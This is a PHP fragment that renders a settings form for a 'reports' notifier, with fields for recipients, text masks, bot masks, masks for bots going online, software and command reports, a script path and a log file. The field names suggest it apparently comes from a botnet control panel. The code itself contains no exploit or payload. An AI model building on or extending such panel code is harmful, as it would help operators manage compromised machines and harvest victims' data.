echo str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('options', QUERY_STRING_HTML, ''), THEME_FORMPOST_BEGIN), str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN) . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_GROUP_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_REPORTS_OPTIONS), THEME_DIALOG_TITLE) . THEME_DIALOG_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{NAME}', '{VALUE}', '{JS_EVENTS}', '{TEXT}'), array(2, 'enable', 1, '', LNG_REPORTS_OPTIONS_ENABLE), $jn_enabled ? THEME_DIALOG_ITEM_INPUT_CHECKBOX_ON_2 : THEME_DIALOG_ITEM_INPUT_CHECKBOX_2) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_REPORTS_OPTIONS_TO, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('to', htmlEntitiesEx($jn_to), 255, INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_REPORTS_OPTIONS_MASKS, THEME_DIALOG_ITEM_TEXT_TOP) . str_replace(array('{NAME}', '{ROWS}', '{COLS}', '{WIDTH}', '{TEXT}'), array('masks', 20, 100, INPUT_WIDTH, htmlEntitiesEx($jn_masks)), THEME_DIALOG_ITEM_INPUT_TEXTAREA) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_REPORTS_OPTIONS_BOTMASKS, THEME_DIALOG_ITEM_TEXT_TOP) . str_replace(array('{NAME}', '{ROWS}', '{COLS}', '{WIDTH}', '{TEXT}'), array('botmasks', 20, 100, INPUT_WIDTH, htmlEntitiesEx($jn_botmasks)), THEME_DIALOG_ITEM_INPUT_TEXTAREA) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_REPORTS_OPTIONS_MASKS_WENTONLINE, THEME_DIALOG_ITEM_TEXT_TOP) . str_replace(array('{NAME}', '{ROWS}', '{COLS}', '{WIDTH}', '{TEXT}'), array('reports_jn_masks[wentOnline]', 20, 100, INPUT_WIDTH, htmlEntitiesEx(strtr($config['reports_jn_masks']['wentOnline'], "", "\n"))), THEME_DIALOG_ITEM_INPUT_TEXTAREA) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_REPORTS_OPTIONS_MASKS_SOFTWARE, THEME_DIALOG_ITEM_TEXT_TOP) . str_replace(array('{NAME}', '{ROWS}', '{COLS}', '{WIDTH}', '{TEXT}'), array('reports_jn_masks[software]', 20, 100, INPUT_WIDTH, htmlEntitiesEx(strtr($config['reports_jn_masks']['software'], "", "\n"))), THEME_DIALOG_ITEM_INPUT_TEXTAREA) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_REPORTS_OPTIONS_MASKS_CMD, THEME_DIALOG_ITEM_TEXT_TOP) . str_replace(array('{NAME}', '{ROWS}', '{COLS}', '{WIDTH}', '{TEXT}'), array('reports_jn_masks[cmd]', 20, 100, INPUT_WIDTH, htmlEntitiesEx(strtr($config['reports_jn_masks']['cmd'], "", "\n"))), THEME_DIALOG_ITEM_INPUT_TEXTAREA) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_REPORTS_OPTIONS_SCRIPT, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('script', htmlEntitiesEx($jn_script), 255, INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_REPORTS_OPTIONS_LOGFILE, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('logfile', htmlEntitiesEx($jn_logfile), 255, INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_GROUP_END . THEME_DIALOG_ROW_END . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ACTIONLIST_BEGIN) . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_REPORTS_SAVE, ''), THEME_DIALOG_ITEM_ACTION_SUBMIT) . THEME_DIALOG_ACTIONLIST_END . THEME_DIALOG_END . THEME_FORMPOST_END;
ThemeEnd();